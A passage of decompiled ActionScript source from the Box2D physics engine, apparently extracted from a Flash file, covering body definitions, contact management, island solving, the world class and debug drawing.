return (b2Math.b2MulTMV(m_xf.R, _arg1));
}
public function GetWorldPoint(_arg1:b2Vec2):b2Vec2{
var _local2:b2Mat22;
var _local3:b2Vec2;
_local2 = m_xf.R;
_local3 = new b2Vec2(((_local2.col1.x * _arg1.x) + (_local2.col2.x * _arg1.y)), ((_local2.col1.y * _arg1.x) + (_local2.col2.y * _arg1.y)));
_local3.x = (_local3.x + m_xf.position.x);
_local3.y = (_local3.y + m_xf.position.y);
return (_local3);
}
public function GetWorld():b2World{
return (m_world);
}
public function GetPosition():b2Vec2{
return (m_xf.position);
}
}
}//package Box2D.Dynamics
Section 67
//b2BodyDef (Box2D.Dynamics.b2BodyDef)
package Box2D.Dynamics {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
public class b2BodyDef {
public var isSleeping:Boolean;
public var position:b2Vec2;
public var isBullet:Boolean;
public var allowSleep:Boolean;
public var userData;
public var angularDamping:Number;
public var fixedRotation:Boolean;
public var angle:Number;
public var linearDamping:Number;
public var massData:b2MassData;
public function b2BodyDef(){
massData = new b2MassData();
position = new b2Vec2();
super();
massData.center.SetZero();
massData.mass = 0;
massData.I = 0;
userData = null;
position.Set(0, 0);
angle = 0;
linearDamping = 0;
angularDamping = 0;
allowSleep = true;
isSleeping = false;
fixedRotation = false;
isBullet = false;
}
}
}//package Box2D.Dynamics
Section 68
//b2BoundaryListener (Box2D.Dynamics.b2BoundaryListener)
package Box2D.Dynamics {
public class b2BoundaryListener {
public function Violation(_arg1:b2Body):void{
}
}
}//package Box2D.Dynamics
Section 69
//b2ContactFilter (Box2D.Dynamics.b2ContactFilter)
package Box2D.Dynamics {
import Box2D.Collision.Shapes.*;
public class b2ContactFilter {
public static var b2_defaultFilter:b2ContactFilter = new (b2ContactFilter);
;
public function ShouldCollide(_arg1:b2Shape, _arg2:b2Shape):Boolean{
var _local3:b2FilterData;
var _local4:b2FilterData;
var _local5:Boolean;
_local3 = _arg1.GetFilterData();
_local4 = _arg2.GetFilterData();
if ((((_local3.groupIndex == _local4.groupIndex)) && (!((_local3.groupIndex == 0))))){
return ((_local3.groupIndex > 0));
};
_local5 = ((!(((_local3.maskBits & _local4.categoryBits) == 0))) && (!(((_local3.categoryBits & _local4.maskBits) == 0))));
return (_local5);
}
}
}//package Box2D.Dynamics
Section 70
//b2ContactListener (Box2D.Dynamics.b2ContactListener)
package Box2D.Dynamics {
import Box2D.Collision.*;
import Box2D.Dynamics.Contacts.*;
public class b2ContactListener {
public function Add(_arg1:b2ContactPoint):void{
}
public function Remove(_arg1:b2ContactPoint):void{
}
public function Persist(_arg1:b2ContactPoint):void{
}
public function Result(_arg1:b2ContactResult):void{
}
}
}//package Box2D.Dynamics
Section 71
//b2ContactManager (Box2D.Dynamics.b2ContactManager)
package Box2D.Dynamics {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Collision.*;
import Box2D.Dynamics.Contacts.*;
public class b2ContactManager extends b2PairCallback {
public var m_world:b2World;
public var m_destroyImmediate:Boolean;
public var m_nullContact:b2NullContact;
private static const s_evalCP:b2ContactPoint = new b2ContactPoint();
public function b2ContactManager(){
m_nullContact = new b2NullContact();
super();
m_world = null;
m_destroyImmediate = false;
}
override public function PairAdded(_arg1, _arg2){
var _local3:b2Shape;
var _local4:b2Shape;
var _local5:b2Body;
var _local6:b2Body;
var _local7:b2Contact;
_local3 = (_arg1 as b2Shape);
_local4 = (_arg2 as b2Shape);
_local5 = _local3.m_body;
_local6 = _local4.m_body;
if (((_local5.IsStatic()) && (_local6.IsStatic()))){
return (m_nullContact);
};
if (_local3.m_body == _local4.m_body){
return (m_nullContact);
};
if (_local6.IsConnected(_local5)){
return (m_nullContact);
};
if (((!((m_world.m_contactFilter == null))) && ((m_world.m_contactFilter.ShouldCollide(_local3, _local4) == false)))){
return (m_nullContact);
};
_local7 = b2Contact.Create(_local3, _local4, m_world.m_blockAllocator);
if (_local7 == null){
return (m_nullContact);
};
_local3 = _local7.m_shape1;
_local4 = _local7.m_shape2;
_local5 = _local3.m_body;
_local6 = _local4.m_body;
_local7.m_prev = null;
_local7.m_next = m_world.m_contactList;
if (m_world.m_contactList != null){
m_world.m_contactList.m_prev = _local7;
};
m_world.m_contactList = _local7;
_local7.m_node1.contact = _local7;
_local7.m_node1.other = _local6;
_local7.m_node1.prev = null;
_local7.m_node1.next = _local5.m_contactList;
if (_local5.m_contactList != null){
_local5.m_contactList.prev = _local7.m_node1;
};
_local5.m_contactList = _local7.m_node1;
_local7.m_node2.contact = _local7;
_local7.m_node2.other = _local5;
_local7.m_node2.prev = null;
_local7.m_node2.next = _local6.m_contactList;
if (_local6.m_contactList != null){
_local6.m_contactList.prev = _local7.m_node2;
};
_local6.m_contactList = _local7.m_node2;
m_world.m_contactCount++;
return (_local7);
}
override public function PairRemoved(_arg1, _arg2, _arg3):void{
var _local4:b2Contact;
if (_arg3 == null){
return;
};
_local4 = (_arg3 as b2Contact);
if (_local4 == m_nullContact){
return;
};
Destroy(_local4);
}
public function Destroy(_arg1:b2Contact):void{
var _local2:b2Shape;
var _local3:b2Shape;
var _local4:int;
var _local5:b2Body;
var _local6:b2Body;
var _local7:b2Body;
var _local8:b2Body;
var _local9:Array;
var _local10:b2ContactPoint;
var _local11:int;
var _local12:b2Manifold;
var _local13:int;
var _local14:b2ManifoldPoint;
var _local15:b2Vec2;
var _local16:b2Vec2;
_local2 = _arg1.m_shape1;
_local3 = _arg1.m_shape2;
_local4 = _arg1.m_manifoldCount;
if ((((_local4 > 0)) && (m_world.m_contactListener))){
_local7 = _local2.m_body;
_local8 = _local3.m_body;
_local9 = _arg1.GetManifolds();
_local10 = s_evalCP;
_local10.shape1 = _arg1.m_shape1;
_local10.shape2 = _arg1.m_shape2;
_local10.friction = _arg1.m_friction;
_local10.restitution = _arg1.m_restitution;
_local11 = 0;
while (_local11 < _local4) {
_local12 = _local9[_local11];
_local10.normal.SetV(_local12.normal);
_local13 = 0;
while (_local13 < _local12.pointCount) {
_local14 = _local12.points[_local13];
_local10.position = _local7.GetWorldPoint(_local14.localPoint1);
_local15 = _local7.GetLinearVelocityFromLocalPoint(_local14.localPoint1);
_local16 = _local8.GetLinearVelocityFromLocalPoint(_local14.localPoint2);
_local10.velocity.Set((_local16.x - _local15.x), (_local16.y - _local15.y));
_local10.separation = _local14.separation;
_local10.id.key = _local14.id._key;
m_world.m_contactListener.Remove(_local10);
_local13++;
};
_local11++;
};
};
if (_arg1.m_prev){
_arg1.m_prev.m_next = _arg1.m_next;
};
if (_arg1.m_next){
_arg1.m_next.m_prev = _arg1.m_prev;
};
if (_arg1 == m_world.m_contactList){
m_world.m_contactList = _arg1.m_next;
};
_local5 = _local2.m_body;
_local6 = _local3.m_body;
if (_arg1.m_node1.prev){
_arg1.m_node1.prev.next = _arg1.m_node1.next;
};
if (_arg1.m_node1.next){
_arg1.m_node1.next.prev = _arg1.m_node1.prev;
};
if (_arg1.m_node1 == _local5.m_contactList){
_local5.m_contactList = _arg1.m_node1.next;
};
if (_arg1.m_node2.prev){
_arg1.m_node2.prev.next = _arg1.m_node2.next;
};
if (_arg1.m_node2.next){
_arg1.m_node2.next.prev = _arg1.m_node2.prev;
};
if (_arg1.m_node2 == _local6.m_contactList){
_local6.m_contactList = _arg1.m_node2.next;
};
b2Contact.Destroy(_arg1, m_world.m_blockAllocator);
m_world.m_contactCount--;
}
public function Collide():void{
var _local1:b2Contact;
var _local2:b2Body;
var _local3:b2Body;
_local1 = m_world.m_contactList;
while (_local1) {
_local2 = _local1.m_shape1.m_body;
_local3 = _local1.m_shape2.m_body;
if (((_local2.IsSleeping()) && (_local3.IsSleeping()))){
} else {
_local1.Update(m_world.m_contactListener);
};
_local1 = _local1.m_next;
};
}
}
}//package Box2D.Dynamics
Section 72
//b2DebugDraw (Box2D.Dynamics.b2DebugDraw)
package Box2D.Dynamics {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Collision.*;
import Box2D.Common.*;
import Box2D.Dynamics.Contacts.*;
import flash.display.*;
public class b2DebugDraw {
public var m_xformScale:Number;// = 1
public var m_fillAlpha:Number;// = 1
public var m_alpha:Number;// = 1
public var m_lineThickness:Number;// = 1
public var m_drawFlags:uint;
public var m_sprite:Sprite;
public var m_drawScale:Number;// = 1
public static var e_coreShapeBit:uint = 4;
public static var e_shapeBit:uint = 1;
public static var e_centerOfMassBit:uint = 64;
public static var e_aabbBit:uint = 8;
public static var e_obbBit:uint = 16;
public static var e_pairBit:uint = 32;
public static var e_jointBit:uint = 2;
public function b2DebugDraw(){
m_drawScale = 1;
m_lineThickness = 1;
m_alpha = 1;
m_fillAlpha = 1;
m_xformScale = 1;
super();
m_drawFlags = 0;
}
public function DrawSolidPolygon(_arg1:Array, _arg2:int, _arg3:b2Color):void{
var _local4:int;
m_sprite.graphics.lineStyle(m_lineThickness, _arg3.color, m_alpha);
m_sprite.graphics.moveTo((_arg1[0].x * m_drawScale), (_arg1[0].y * m_drawScale));
m_sprite.graphics.beginFill(_arg3.color, m_fillAlpha);
_local4 = 1;
while (_local4 < _arg2) {
m_sprite.graphics.lineTo((_arg1[_local4].x * m_drawScale), (_arg1[_local4].y * m_drawScale));
_local4++;
};
m_sprite.graphics.lineTo((_arg1[0].x * m_drawScale), (_arg1[0].y * m_drawScale));
m_sprite.graphics.endFill();
}
public function DrawCircle(_arg1:b2Vec2, _arg2:Number, _arg3:b2Color):void{
m_sprite.graphics.lineStyle(m_lineThickness, _arg3.color, m_alpha);
m_sprite.graphics.drawCircle((_arg1.x * m_drawScale), (_arg1.y * m_drawScale), (_arg2 * m_drawScale));
}
public function DrawXForm(_arg1:b2XForm):void{
m_sprite.graphics.lineStyle(m_lineThickness, 0xFF0000, m_alpha);
m_sprite.graphics.moveTo((_arg1.position.x * m_drawScale), (_arg1.position.y * m_drawScale));
m_sprite.graphics.lineTo(((_arg1.position.x + (m_xformScale * _arg1.R.col1.x)) * m_drawScale), ((_arg1.position.y + (m_xformScale * _arg1.R.col1.y)) * m_drawScale));
m_sprite.graphics.lineStyle(m_lineThickness, 0xFF00, m_alpha);
m_sprite.graphics.moveTo((_arg1.position.x * m_drawScale), (_arg1.position.y * m_drawScale));
m_sprite.graphics.lineTo(((_arg1.position.x + (m_xformScale * _arg1.R.col2.x)) * m_drawScale), ((_arg1.position.y + (m_xformScale * _arg1.R.col2.y)) * m_drawScale));
}
public function ClearFlags(_arg1:uint):void{
m_drawFlags = (m_drawFlags & ~(_arg1));
}
public function DrawSolidCircle(_arg1:b2Vec2, _arg2:Number, _arg3:b2Vec2, _arg4:b2Color):void{
m_sprite.graphics.lineStyle(m_lineThickness, _arg4.color, m_alpha);
m_sprite.graphics.moveTo(0, 0);
m_sprite.graphics.beginFill(_arg4.color, m_fillAlpha);
m_sprite.graphics.drawCircle((_arg1.x * m_drawScale), (_arg1.y * m_drawScale), (_arg2 * m_drawScale));
m_sprite.graphics.endFill();
m_sprite.graphics.moveTo((_arg1.x * m_drawScale), (_arg1.y * m_drawScale));
m_sprite.graphics.lineTo(((_arg1.x + (_arg3.x * _arg2)) * m_drawScale), ((_arg1.y + (_arg3.y * _arg2)) * m_drawScale));
}
public function SetFlags(_arg1:uint):void{
m_drawFlags = _arg1;
}
public function AppendFlags(_arg1:uint):void{
m_drawFlags = (m_drawFlags | _arg1);
}
public function DrawSegment(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:b2Color):void{
m_sprite.graphics.lineStyle(m_lineThickness, _arg3.color, m_alpha);
m_sprite.graphics.moveTo((_arg1.x * m_drawScale), (_arg1.y * m_drawScale));
m_sprite.graphics.lineTo((_arg2.x * m_drawScale), (_arg2.y * m_drawScale));
}
public function GetFlags():uint{
return (m_drawFlags);
}
public function DrawPolygon(_arg1:Array, _arg2:int, _arg3:b2Color):void{
var _local4:int;
m_sprite.graphics.lineStyle(m_lineThickness, _arg3.color, m_alpha);
m_sprite.graphics.moveTo((_arg1[0].x * m_drawScale), (_arg1[0].y * m_drawScale));
_local4 = 1;
while (_local4 < _arg2) {
m_sprite.graphics.lineTo((_arg1[_local4].x * m_drawScale), (_arg1[_local4].y * m_drawScale));
_local4++;
};
m_sprite.graphics.lineTo((_arg1[0].x * m_drawScale), (_arg1[0].y * m_drawScale));
}
}
}//package Box2D.Dynamics
Section 73
//b2DestructionListener (Box2D.Dynamics.b2DestructionListener)
package Box2D.Dynamics {
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.Joints.*;
public class b2DestructionListener {
public function SayGoodbyeJoint(_arg1:b2Joint):void{
}
public function SayGoodbyeShape(_arg1:b2Shape):void{
}
}
}//package Box2D.Dynamics
Section 74
//b2Island (Box2D.Dynamics.b2Island)
package Box2D.Dynamics {
import Box2D.Common.Math.*;
import Box2D.Dynamics.Joints.*;
import Box2D.Collision.*;
import Box2D.Common.*;
import Box2D.Dynamics.Contacts.*;
public class b2Island {
public var m_joints:Array;
public var m_listener:b2ContactListener;
public var m_positionIterationCount:int;
public var m_bodyCapacity:int;
public var m_bodies:Array;
public var m_jointCapacity:int;
public var m_contactCount:int;
public var m_contacts:Array;
public var m_contactCapacity:int;
public var m_jointCount:int;
public var m_allocator;
public var m_bodyCount:int;
private static var s_reportCR:b2ContactResult = new b2ContactResult();
public function b2Island(_arg1:int, _arg2:int, _arg3:int, _arg4, _arg5:b2ContactListener){
var _local6:int;
super();
m_bodyCapacity = _arg1;
m_contactCapacity = _arg2;
m_jointCapacity = _arg3;
m_bodyCount = 0;
m_contactCount = 0;
m_jointCount = 0;
m_allocator = _arg4;
m_listener = _arg5;
m_bodies = new Array(_arg1);
_local6 = 0;
while (_local6 < _arg1) {
m_bodies[_local6] = null;
_local6++;
};
m_contacts = new Array(_arg2);
_local6 = 0;
while (_local6 < _arg2) {
m_contacts[_local6] = null;
_local6++;
};
m_joints = new Array(_arg3);
_local6 = 0;
while (_local6 < _arg3) {
m_joints[_local6] = null;
_local6++;
};
m_positionIterationCount = 0;
}
public function AddBody(_arg1:b2Body):void{
var _local2 = m_bodyCount++;
m_bodies[_local2] = _arg1;
}
public function AddJoint(_arg1:b2Joint):void{
var _local2 = m_jointCount++;
m_joints[_local2] = _arg1;
}
public function Report(_arg1:Array):void{
var _local2:b2Mat22;
var _local3:b2Vec2;
var _local4:int;
var _local5:b2Contact;
var _local6:b2ContactConstraint;
var _local7:b2ContactResult;
var _local8:b2Body;
var _local9:int;
var _local10:Array;
var _local11:int;
var _local12:b2Manifold;
var _local13:int;
var _local14:b2ManifoldPoint;
var _local15:b2ContactConstraintPoint;
if (m_listener == null){
return;
};
_local4 = 0;
while (_local4 < m_contactCount) {
_local5 = m_contacts[_local4];
_local6 = _arg1[_local4];
_local7 = s_reportCR;
_local7.shape1 = _local5.m_shape1;
_local7.shape2 = _local5.m_shape2;
_local8 = _local7.shape1.m_body;
_local9 = _local5.m_manifoldCount;
_local10 = _local5.GetManifolds();
_local11 = 0;
while (_local11 < _local9) {
_local12 = _local10[_local11];
_local7.normal.SetV(_local12.normal);
_local13 = 0;
while (_local13 < _local12.pointCount) {
_local14 = _local12.points[_local13];
_local15 = _local6.points[_local13];
_local7.position = _local8.GetWorldPoint(_local14.localPoint1);
_local7.normalImpulse = _local15.normalImpulse;
_local7.tangentImpulse = _local15.tangentImpulse;
_local7.id.key = _local14.id.key;
m_listener.Result(_local7);
_local13++;
};
_local11++;
};
_local4++;
};
}
public function Solve(_arg1:b2TimeStep, _arg2:b2Vec2, _arg3:Boolean, _arg4:Boolean):void{
var _local5:int;
var _local6:b2Body;
var _local7:b2Joint;
var _local8:b2ContactSolver;
var _local9:int;
var _local10:Boolean;
var _local11:Boolean;
var _local12:Boolean;
var _local13:Number;
var _local14:Number;
var _local15:Number;
_local5 = 0;
while (_local5 < m_bodyCount) {
_local6 = m_bodies[_local5];
if (_local6.IsStatic()){
} else {
_local6.m_linearVelocity.x = (_local6.m_linearVelocity.x + (_arg1.dt * (_arg2.x + (_local6.m_invMass * _local6.m_force.x))));
_local6.m_linearVelocity.y = (_local6.m_linearVelocity.y + (_arg1.dt * (_arg2.y + (_local6.m_invMass * _local6.m_force.y))));
_local6.m_angularVelocity = (_local6.m_angularVelocity + ((_arg1.dt * _local6.m_invI) * _local6.m_torque));
_local6.m_force.SetZero();
_local6.m_torque = 0;
_local6.m_linearVelocity.Multiply(b2Math.b2Clamp((1 - (_arg1.dt * _local6.m_linearDamping)), 0, 1));
_local6.m_angularVelocity = (_local6.m_angularVelocity * b2Math.b2Clamp((1 - (_arg1.dt * _local6.m_angularDamping)), 0, 1));
if (_local6.m_linearVelocity.LengthSquared() > b2Settings.b2_maxLinearVelocitySquared){
_local6.m_linearVelocity.Normalize();
_local6.m_linearVelocity.x = (_local6.m_linearVelocity.x * b2Settings.b2_maxLinearVelocity);
_local6.m_linearVelocity.y = (_local6.m_linearVelocity.y * b2Settings.b2_maxLinearVelocity);
};
if ((_local6.m_angularVelocity * _local6.m_angularVelocity) > b2Settings.b2_maxAngularVelocitySquared){
if (_local6.m_angularVelocity < 0){
_local6.m_angularVelocity = -(b2Settings.b2_maxAngularVelocity);
} else {
_local6.m_angularVelocity = b2Settings.b2_maxAngularVelocity;
};
};
};
_local5++;
};
_local8 = new b2ContactSolver(_arg1, m_contacts, m_contactCount, m_allocator);
_local8.InitVelocityConstraints(_arg1);
_local5 = 0;
while (_local5 < m_jointCount) {
_local7 = m_joints[_local5];
_local7.InitVelocityConstraints(_arg1);
_local5++;
};
_local5 = 0;
while (_local5 < _arg1.maxIterations) {
_local8.SolveVelocityConstraints();
_local9 = 0;
while (_local9 < m_jointCount) {
_local7 = m_joints[_local9];
_local7.SolveVelocityConstraints(_arg1);
_local9++;
};
_local5++;
};
_local8.FinalizeVelocityConstraints();
_local5 = 0;
while (_local5 < m_bodyCount) {
_local6 = m_bodies[_local5];
if (_local6.IsStatic()){
} else {
_local6.m_sweep.c0.SetV(_local6.m_sweep.c);
_local6.m_sweep.a0 = _local6.m_sweep.a;
_local6.m_sweep.c.x = (_local6.m_sweep.c.x + (_arg1.dt * _local6.m_linearVelocity.x));
_local6.m_sweep.c.y = (_local6.m_sweep.c.y + (_arg1.dt * _local6.m_linearVelocity.y));
_local6.m_sweep.a = (_local6.m_sweep.a + (_arg1.dt * _local6.m_angularVelocity));
_local6.SynchronizeTransform();
};
_local5++;
};
if (_arg3){
_local5 = 0;
while (_local5 < m_jointCount) {
_local7 = m_joints[_local5];
_local7.InitPositionConstraints();
_local5++;
};
m_positionIterationCount = 0;
while (m_positionIterationCount < _arg1.maxIterations) {
_local10 = _local8.SolvePositionConstraints(b2Settings.b2_contactBaumgarte);
_local11 = true;
_local5 = 0;
while (_local5 < m_jointCount) {
_local7 = m_joints[_local5];
_local12 = _local7.SolvePositionConstraints();
_local11 = ((_local11) && (_local12));
_local5++;
};
if (((_local10) && (_local11))){
break;
};
m_positionIterationCount++;
};
};
Report(_local8.m_constraints);
if (_arg4){
_local13 = Number.MAX_VALUE;
_local14 = (b2Settings.b2_linearSleepTolerance * b2Settings.b2_linearSleepTolerance);
_local15 = (b2Settings.b2_angularSleepTolerance * b2Settings.b2_angularSleepTolerance);
_local5 = 0;
while (_local5 < m_bodyCount) {
_local6 = m_bodies[_local5];
if (_local6.m_invMass == 0){
} else {
if ((_local6.m_flags & b2Body.e_allowSleepFlag) == 0){
_local6.m_sleepTime = 0;
_local13 = 0;
};
if (((((((_local6.m_flags & b2Body.e_allowSleepFlag) == 0)) || (((_local6.m_angularVelocity * _local6.m_angularVelocity) > _local15)))) || ((b2Math.b2Dot(_local6.m_linearVelocity, _local6.m_linearVelocity) > _local14)))){
_local6.m_sleepTime = 0;
_local13 = 0;
} else {
_local6.m_sleepTime = (_local6.m_sleepTime + _arg1.dt);
_local13 = b2Math.b2Min(_local13, _local6.m_sleepTime);
};
};
_local5++;
};
if (_local13 >= b2Settings.b2_timeToSleep){
_local5 = 0;
while (_local5 < m_bodyCount) {
_local6 = m_bodies[_local5];
m_bodies[_local5].m_flags = (_local6.m_flags | b2Body.e_sleepFlag);
_local6.m_linearVelocity.SetZero();
_local6.m_angularVelocity = 0;
_local5++;
};
};
};
}
public function AddContact(_arg1:b2Contact):void{
var _local2 = m_contactCount++;
m_contacts[_local2] = _arg1;
}
public function Clear():void{
m_bodyCount = 0;
m_contactCount = 0;
m_jointCount = 0;
}
public function SolveTOI(_arg1:b2TimeStep):void{
var _local2:int;
var _local3:b2ContactSolver;
var _local4:Number;
var _local5:b2Body;
var _local6:Boolean;
_local3 = new b2ContactSolver(_arg1, m_contacts, m_contactCount, m_allocator);
_local2 = 0;
while (_local2 < _arg1.maxIterations) {
_local3.SolveVelocityConstraints();
_local2++;
};
_local2 = 0;
while (_local2 < m_bodyCount) {
_local5 = m_bodies[_local2];
if (_local5.IsStatic()){
} else {
_local5.m_sweep.c0.SetV(_local5.m_sweep.c);
_local5.m_sweep.a0 = _local5.m_sweep.a;
_local5.m_sweep.c.x = (_local5.m_sweep.c.x + (_arg1.dt * _local5.m_linearVelocity.x));
_local5.m_sweep.c.y = (_local5.m_sweep.c.y + (_arg1.dt * _local5.m_linearVelocity.y));
_local5.m_sweep.a = (_local5.m_sweep.a + (_arg1.dt * _local5.m_angularVelocity));
_local5.SynchronizeTransform();
};
_local2++;
};
_local4 = 0.75;
_local2 = 0;
while (_local2 < _arg1.maxIterations) {
_local6 = _local3.SolvePositionConstraints(_local4);
if (_local6){
break;
};
_local2++;
};
Report(_local3.m_constraints);
}
}
}//package Box2D.Dynamics
Section 75
//b2TimeStep (Box2D.Dynamics.b2TimeStep)
package Box2D.Dynamics {
public class b2TimeStep {
public var warmStarting:Boolean;
public var positionCorrection:Boolean;
public var dt:Number;
public var maxIterations:int;
public var dtRatio:Number;
public var inv_dt:Number;
}
}//package Box2D.Dynamics
Section 76
//b2World (Box2D.Dynamics.b2World)
package Box2D.Dynamics {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.Joints.*;
import Box2D.Collision.*;
import Box2D.Common.*;
import Box2D.Dynamics.Contacts.*;
public class b2World {
public var m_inv_dt0:Number;
public var m_boundaryListener:b2BoundaryListener;
public var m_contactList:b2Contact;
public var m_blockAllocator;
public var m_contactListener:b2ContactListener;
public var m_allowSleep:Boolean;
public var m_broadPhase:b2BroadPhase;
public var m_destructionListener:b2DestructionListener;
public var m_jointCount:int;
public var m_bodyCount:int;
public var m_lock:Boolean;
public var m_positionIterationCount:int;
public var m_groundBody:b2Body;
public var m_contactCount:int;
public var m_debugDraw:b2DebugDraw;
public var m_contactFilter:b2ContactFilter;
public var m_bodyList:b2Body;
public var m_stackAllocator;
public var m_jointList:b2Joint;
public var m_gravity:b2Vec2;
public var m_contactManager:b2ContactManager;
private static var s_jointColor:b2Color = new b2Color(0.5, 0.8, 0.8);
public static var m_continuousPhysics:Boolean;
public static var m_warmStarting:Boolean;
private static var s_coreColor:b2Color = new b2Color(0.9, 0.6, 0.6);
public static var m_positionCorrection:Boolean;
private static var s_xf:b2XForm = new b2XForm();
public function b2World(_arg1:b2AABB, _arg2:b2Vec2, _arg3:Boolean){
var _local4:b2BodyDef;
m_contactManager = new b2ContactManager();
super();
m_destructionListener = null;
m_boundaryListener = null;
m_contactFilter = b2ContactFilter.b2_defaultFilter;
m_contactListener = null;
m_debugDraw = null;
m_bodyList = null;
m_contactList = null;
m_jointList = null;
m_bodyCount = 0;
m_contactCount = 0;
m_jointCount = 0;
m_positionCorrection = true;
m_warmStarting = true;
m_continuousPhysics = true;
m_allowSleep = _arg3;
m_gravity = _arg2;
m_lock = false;
m_inv_dt0 = 0;
m_contactManager.m_world = this;
m_broadPhase = new b2BroadPhase(_arg1, m_contactManager);
_local4 = new b2BodyDef();
m_groundBody = CreateBody(_local4);
}
public function DrawJoint(_arg1:b2Joint):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2XForm;
var _local5:b2XForm;
var _local6:b2Vec2;
var _local7:b2Vec2;
var _local8:b2Vec2;
var _local9:b2Vec2;
var _local10:b2Color;
var _local11:b2PulleyJoint;
var _local12:b2Vec2;
var _local13:b2Vec2;
_local2 = _arg1.m_body1;
_local3 = _arg1.m_body2;
_local4 = _local2.m_xf;
_local5 = _local3.m_xf;
_local6 = _local4.position;
_local7 = _local5.position;
_local8 = _arg1.GetAnchor1();
_local9 = _arg1.GetAnchor2();
_local10 = s_jointColor;
switch (_arg1.m_type){
case b2Joint.e_distanceJoint:
m_debugDraw.DrawSegment(_local8, _local9, _local10);
break;
case b2Joint.e_pulleyJoint:
_local11 = (_arg1 as b2PulleyJoint);
_local12 = _local11.GetGroundAnchor1();
_local13 = _local11.GetGroundAnchor2();
m_debugDraw.DrawSegment(_local12, _local8, _local10);
m_debugDraw.DrawSegment(_local13, _local9, _local10);
m_debugDraw.DrawSegment(_local12, _local13, _local10);
break;
case b2Joint.e_mouseJoint:
m_debugDraw.DrawSegment(_local8, _local9, _local10);
break;
default:
if (_local2 != m_groundBody){
m_debugDraw.DrawSegment(_local6, _local8, _local10);
};
m_debugDraw.DrawSegment(_local8, _local9, _local10);
if (_local3 != m_groundBody){
m_debugDraw.DrawSegment(_local7, _local9, _local10);
};
};
}
public function Refilter(_arg1:b2Shape):void{
_arg1.RefilterProxy(m_broadPhase, _arg1.m_body.m_xf);
}
public function SetDebugDraw(_arg1:b2DebugDraw):void{
m_debugDraw = _arg1;
}
public function SetContinuousPhysics(_arg1:Boolean):void{
m_continuousPhysics = _arg1;
}
public function GetProxyCount():int{
return (m_broadPhase.m_proxyCount);
}
public function DrawDebugData():void{
var _local1:uint;
var _local2:int;
var _local3:b2Body;
var _local4:b2Shape;
var _local5:b2Joint;
var _local6:b2BroadPhase;
var _local7:b2Vec2;
var _local8:b2Vec2;
var _local9:b2Vec2;
var _local10:b2Color;
var _local11:b2XForm;
var _local12:b2AABB;
var _local13:b2AABB;
var _local14:Array;
var _local15:Boolean;
var _local16:uint;
var _local17:b2Pair;
var _local18:b2Proxy;
var _local19:b2Proxy;
var _local20:b2Vec2;
var _local21:b2Vec2;
var _local22:b2Proxy;
var _local23:b2PolygonShape;
var _local24:b2OBB;
var _local25:b2Vec2;
var _local26:b2Mat22;
var _local27:b2Vec2;
var _local28:Number;
if (m_debugDraw == null){
return;
};
m_debugDraw.m_sprite.graphics.clear();
_local1 = m_debugDraw.GetFlags();
_local7 = new b2Vec2();
_local8 = new b2Vec2();
_local9 = new b2Vec2();
_local10 = new b2Color(0, 0, 0);
_local12 = new b2AABB();
_local13 = new b2AABB();
_local14 = [new b2Vec2(), new b2Vec2(), new b2Vec2(), new b2Vec2()];
if ((_local1 & b2DebugDraw.e_shapeBit)){
_local15 = ((_local1 & b2DebugDraw.e_coreShapeBit) == b2DebugDraw.e_coreShapeBit);
_local3 = m_bodyList;
while (_local3) {
_local11 = _local3.m_xf;
_local4 = _local3.GetShapeList();
while (_local4) {
if (_local3.IsStatic()){
DrawShape(_local4, _local11, new b2Color(0.5, 0.9, 0.5), _local15);
} else {
if (_local3.IsSleeping()){
DrawShape(_local4, _local11, new b2Color(0.5, 0.5, 0.9), _local15);
} else {
DrawShape(_local4, _local11, new b2Color(0.9, 0.9, 0.9), _local15);
};
};
_local4 = _local4.m_next;
};
_local3 = _local3.m_next;
};
};
if ((_local1 & b2DebugDraw.e_jointBit)){
_local5 = m_jointList;
while (_local5) {
DrawJoint(_local5);
_local5 = _local5.m_next;
};
};
if ((_local1 & b2DebugDraw.e_pairBit)){
_local6 = m_broadPhase;
_local7.Set((1 / _local6.m_quantizationFactor.x), (1 / _local6.m_quantizationFactor.y));
_local10.Set(0.9, 0.9, 0.3);
_local2 = 0;
while (_local2 < b2Pair.b2_tableCapacity) {
_local16 = _local6.m_pairManager.m_hashTable[_local2];
while (_local16 != b2Pair.b2_nullPair) {
_local17 = _local6.m_pairManager.m_pairs[_local16];
_local18 = _local6.m_proxyPool[_local17.proxyId1];
_local19 = _local6.m_proxyPool[_local17.proxyId2];
_local12.lowerBound.x = (_local6.m_worldAABB.lowerBound.x + (_local7.x * _local6.m_bounds[0][_local18.lowerBounds[0]].value));
_local12.lowerBound.y = (_local6.m_worldAABB.lowerBound.y + (_local7.y * _local6.m_bounds[1][_local18.lowerBounds[1]].value));
_local12.upperBound.x = (_local6.m_worldAABB.lowerBound.x + (_local7.x * _local6.m_bounds[0][_local18.upperBounds[0]].value));
_local12.upperBound.y = (_local6.m_worldAABB.lowerBound.y + (_local7.y * _local6.m_bounds[1][_local18.upperBounds[1]].value));
_local13.lowerBound.x = (_local6.m_worldAABB.lowerBound.x + (_local7.x * _local6.m_bounds[0][_local19.lowerBounds[0]].value));
_local13.lowerBound.y = (_local6.m_worldAABB.lowerBound.y + (_local7.y * _local6.m_bounds[1][_local19.lowerBounds[1]].value));
_local13.upperBound.x = (_local6.m_worldAABB.lowerBound.x + (_local7.x * _local6.m_bounds[0][_local19.upperBounds[0]].value));
_local13.upperBound.y = (_local6.m_worldAABB.lowerBound.y + (_local7.y * _local6.m_bounds[1][_local19.upperBounds[1]].value));
_local8.x = (0.5 * (_local12.lowerBound.x + _local12.upperBound.x));
_local8.y = (0.5 * (_local12.lowerBound.y + _local12.upperBound.y));
_local9.x = (0.5 * (_local13.lowerBound.x + _local13.upperBound.x));
_local9.y = (0.5 * (_local13.lowerBound.y + _local13.upperBound.y));
m_debugDraw.DrawSegment(_local8, _local9, _local10);
_local16 = _local17.next;
};
_local2++;
};
};
if ((_local1 & b2DebugDraw.e_aabbBit)){
_local6 = m_broadPhase;
_local20 = _local6.m_worldAABB.lowerBound;
_local21 = _local6.m_worldAABB.upperBound;
